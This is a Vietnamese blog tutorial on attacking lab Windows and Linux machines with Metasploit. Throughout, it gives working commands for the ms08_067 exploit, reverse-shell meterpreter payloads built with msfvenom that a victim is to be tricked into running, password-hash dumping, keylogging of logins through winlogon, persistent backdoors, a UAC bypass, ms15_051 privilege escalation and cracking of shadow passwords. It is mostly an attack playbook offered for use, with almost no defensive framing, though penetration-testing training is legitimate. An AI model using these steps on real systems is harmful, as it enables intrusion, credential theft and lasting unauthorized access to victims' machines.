Hacking with Metasploit P.1

0
5148

Hacking with Metasploit

1 Victim windows

Trong bài lab này victim sẽ là windows XP (192.168.42.130). Attacker là kali linux 2019.3 (192.168.42.133).

Khai thác lỗ hổng ms08_067_netapi

use exploit/windows/smb/ms08_067_netapi

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.42.133

set rhosts 192.168.42.130

exploit

Dumping password hashes

Hoặc có thể sử dụng module run post/windows/gather/hashdump

2 Download/upload tập tin thư mục

Tạo một thư mục tên là test trong ổ C:\ bằng lệnh sau: mkdir C:\test

Ta thử upload một tập tin tên là user.txt ở ngoài desktop của máy Kali có đường dẫn (/root/Desktop/user.txt) sử dụng lệnh upload /root/Desktop/user.txt C:\\test

Như vậy là đã upload thành công tập tin user.txt vào thư mục test của ổ C máy victim.

Bây giờ ta thử tạo thêm một thư mục với tên bất kỳ ví dụ nam trong thư mục test. Thao tác trên máy ảo windows xp. Như vậy trong thư mục C:\\test sẽ có một thư mục nam và một tập tin user.txt ngang hàng với nhau.

Ta download thử: download -r C:\\test /root/Desktop/test

Lệnh trên là download các tập tin thư mục có trong C:\\test của máy victim vào /root/Desktop/test của máy kali

Tham số -r là download đệ quy các tập tin và thư mục có trong C:\\test

Kết quả kiểm tra thử trên máy kali sau khi download xong

3 KEYLOGGER WITH METASPLOIT

Sử dụng lệnh ps để xem các tiến trình đang chạy trên máy nạn nhân

Ta thấy tiến trình explore.exe có giá trị PID là 1456 bây giờ ta migrate thử qua tiến trình này để thực hiện keylogger (migrate mục đích để chuyển sang tiến trình tồn tại song song cùng hệ thống giúp kết nối được duy trì không bị tắt, kết thúc bởi người dùng)

Sau khi nhập lệnh keyscan_start ta thử mở notepad nhập thử vài dòng sau đó dump key ta sẽ thấy dòng text nạn nhân đang gõ.

Bổ sung thêm, nếu bạn muốn nắm bắt thông tin đăng nhập hệ thống, bạn sẽ chỉ chuyển sang tiến trình winlogon. Điều này sẽ nắm bắt thông tin đăng nhập của tất cả người dùng đăng nhập vào hệ thống miễn là nó đang chạy.

4 Chạy backdoor/trojan trên vicim

Sử dụng lệnh: execute -f backdoor.exe

5 PERSISTENT BACKDOORS

Duy trì truy cập(Maintaining access) là một giai đoạn rất quan trọng của kiểm tra thâm nhập, thật không may, đó là một giai đoạn thường bị bỏ qua. Hầu hết những người kiểm tra thâm nhập được mang đi bất cứ khi nào có được quyền truy cập quản trị, vì vậy nếu hệ thống sau đó được vá, thì họ không còn có quyền truy cập vào nó nữa.

Persistent backdoors giúp chúng ta truy cập vào một hệ thống mà chúng tôi đã thỏa hiệp thành công trong quá khứ. Điều quan trọng cần lưu ý là chúng có thể nằm ngoài phạm vi trong quá trình kiểm tra thâm nhập; tuy nhiên, làm quen với chúng là điều tối quan trọng.

Sau khi chúng ta đã chiếm quyền điều khiển hệ thống công việc không kém phần quan trọng là để lại backdoor để duy trì kết nối cho lần sau ngay cả khi hệ thống bị reboot hoặc shutdown hoặc bị vá lỗi chúng ta cũng vẫn chiếm quyền truy cập trở lại nhờ vào mudul persistence

Nhập lệnh run persistence –h để xem trợ giúp

Nhập lệnh sau: run persistence -A -X -i 10 -p 4444 -r 192.168.42.133

Đến đây ta có 2 trường hợp xảy ra

Trường hợp 1: máy victim sẽ reboot ngay và máy attacker vẫn còn mở metasploit.

Đối với trường hợp này sau khi victim reboot trở lại màn hình sẽ bắt được phiên sessions mới

Trường hợp 2: máy victim sẽ tắt và máy attecker cũng tắt vài ngày

Sau khi mở metasploit trở lại ta thực hiện các lệnh sau để kết nối trở lại máy victim. Lưu ý kể cả máy victim đã mở rồi chúng ta cũng vẫn kết nối lại được backdoor.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.42.133

set lport 4444

exploit

6 Victim là Linux

Chúng ta tạo 1 shell sau đó lừa nạn nhân chạy con shell để có được phiên meterpreter

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.42.133 LPORT=3333 -f elf > /root/Desktop/shell.elf

Sau đó thực thi các lệnh sau chờ cho victim chạy shell ta đã gửi

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set lhost 192.168.42.133

set lport 3333

exploit

7 PRIVILEGE ESCALATION

Giả sử ta tạo một backdoor bằng msfvenom và lừa nạn nhân chạy backdoor này trên windows 7. Sau khi có được phiên meterpreter ta getuid thử thì thấy đây chỉ là user bình thường. (user này không có quyền tối cao nên không thể chạy hashdump để lấy thông tin mật khẩu SAM)

Ta nâng cấp user lên thành quyền administrator bằng lệnh getsystem thì bị lỗi như sau:

7.1 Bypass UAC

UAC, hoặc User Account Control, là một tính năng bảo mật của Windows hoạt động bằng cách giới hạn những gì người dùng chuẩn có thể làm cho đến khi quản trị viên cho phép tăng đặc quyền tạm thời. Tất cả chúng ta đều đã xử lý cửa sổ bật lên gây phiền nhiễu khi cố gắng cài đặt phần mềm hoặc chạy một chương trình cụ thể, nhưng tính năng này giúp ngăn chặn phần mềm độc hại bằng cách chỉ cho phép các ứng dụng chạy với các đặc quyền cao hơn trên cơ sở cần thiết.

Tính năng này lần đầu tiên được giới thiệu trong Windows Vista và vẫn còn hiện diện trên các hệ điều hành của Microsoft ngày hôm nay. Nó có thể bị vô hiệu hóa, nhưng bất kỳ quản trị viên hệ thống tử tế nào cũng sẽ không bao giờ cho phép điều đó xảy ra. Từ quan điểm của kẻ tấn công, điều này có thể khiến cho việc nâng cao các đặc quyền đối với người dùng trở nên khó khăn, bởi vì ngay cả khi người dùng đó có quyền quản trị, UAC sẽ ngăn chặn sự leo thang.

Meterpreter có lệnh getsystem, nhưng nếu bật UAC, nó sẽ không hoạt động. May mắn thay, có một cách để khắc phục điều này. Với một vài bước, Metasploit giúp bạn dễ dàng vượt qua UAC, leo thang đặc quyền và sở hữu hệ thống.

Ta thực hiện các lệnh sau như hình

Lưu ý ở đây: nếu victim là win 64 thì ta chọn target 1, payload sẽ là:

windows/x64/meterpreter/reverse_tcp

còn victim trên máy tôi là win 32 bit nên chọn như trên.

Sau khi run session 2 sẽ được tạo ra như vậy ta đã bypass UAC thành công.

Và thử lại lệnh getsystem như hình là được

8 Leo thang đặc quyền trong domain

Ở phần lab phía trên nếu máy windows 7 join domain ta sẽ không thể by pass UAC được xem hình.

Chuẩn bị lab (dùng phần mềm vmware workstation để giả lập mạng)

  • 1 máy windows 7
  • 1 máy windows server 2008 r2
  • 1 máy kali làm attacker

3 máy chọn chế độ card mạng là NAT và phải thông được nhau

Bước 1: Join domain máy windows 7 vào máy windows server 2008 r2 (tham khảo trên mạng). chú ý là đặt DNS là IP windows server 2008 R2 ở máy client

Bước 2: tạo backdoor bằng msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp -f exe prependmigrate=true prepenmigrateprocess=explorer.exe LHOST=192.168.50.128 LPORT=4444 -a x86 –platform window > backdoor.exe

Bước 3: Trong kali gõ service apache2 start để truyền backdoor tới client bằng đường web (lưu backdoor trong thư mục /var/www/html/nam)

Bước 4: truy cập bằng IP kali trên client để tải backdoor xuống

Bước 5: Chạy backdoor để có phiên meterpreter. Từ phiên của user thường sẽ leo thang lên thành NT system. (bên kali chạy multi/handler trước, sau đó chạy backdoor bên client)

Gõ lệnh background trong kali sau đó gõ use exploit/windows/local/

ấn tab đến khi hiện ra như hình (ấn space để thấy tiếp xuống):

use exploit/windows/local/ms15_051_client_copy_image

ấn q để thoát ra và copy đoạn ms15_051_client_copy_image. Set session và run sẽ có kết quả như hình:

Đến đây leo thang trong domain đã thành công!

9 Crack password hệ thống linux

9.1 Sơ lược về tập tin Passwd & Shadow

Trong hệ thống linux một cặp file chúng ta quan tâm là /etc/passwd/etc/shadow. Tập tin /etc/passwd chứa thông tin cơ bản về tài khoản mỗi người dùng, bao gồm người dùng root có đầy đủ quyền quản trị, tài khoản dịch vụ hệ thống và người dùng thực tế. Có 7 trường trong mỗi dòng của /etc/passwd. Một dòng điển hình như thế này:

msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

Trường đầu tiên là tên đăng nhập (cách nhau bởi dấu :). Theo truyền thống, trường thứ hai chứa mật khẩu được mã hóa, nhưng ngày nay (trừ khi bạn cực kỳ may mắn) nó chỉ chứa chữ “x” để biểu thị rằng mật khẩu đã được gán. Nếu trường này trống, người dùng không cần cung cấp mật khẩu để đăng nhập.

Trường thứ ba là ID người dùng, một số duy nhất được gán cho người dùng, theo sau là ID nhóm trong trường thứ tư. Trường thứ năm thường là tên đầy đủ của người dùng, mặc dù điều này cũng có thể để trống. Trường thứ sáu là thư mục chính của người dùng và cuối cùng, trường thứ bảy là shell mặc định, thường được đặt thành /bin/bash.

Tệp /etc/shadow chứa mật khẩu được mã hóa của người dùng trên hệ thống. /etc/shadow chỉ có thể đọc được bởi tài khoản root. Tệp shadow cũng chứa thông tin khác như ngày hết hạn của mật khẩu. Một dòng điển hình trong shadow file như thế này:

msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

9.2 Crack password với Johnny

Bước 1: Từ applications->Password Attacks->johnny

Bước 2: Mở File->Open other file format

Bước 3: chọn như hình sau đó ấn convert

Bước 4: Sau khi ấn convert màn hình xuất hiện. Bấm tiếp Start new Attack để xem mật khẩu bị crack.

Như hình là username: root password là 123456 đã crack thành công.

LEAVE A REPLY

Please enter your comment!
Please enter your name here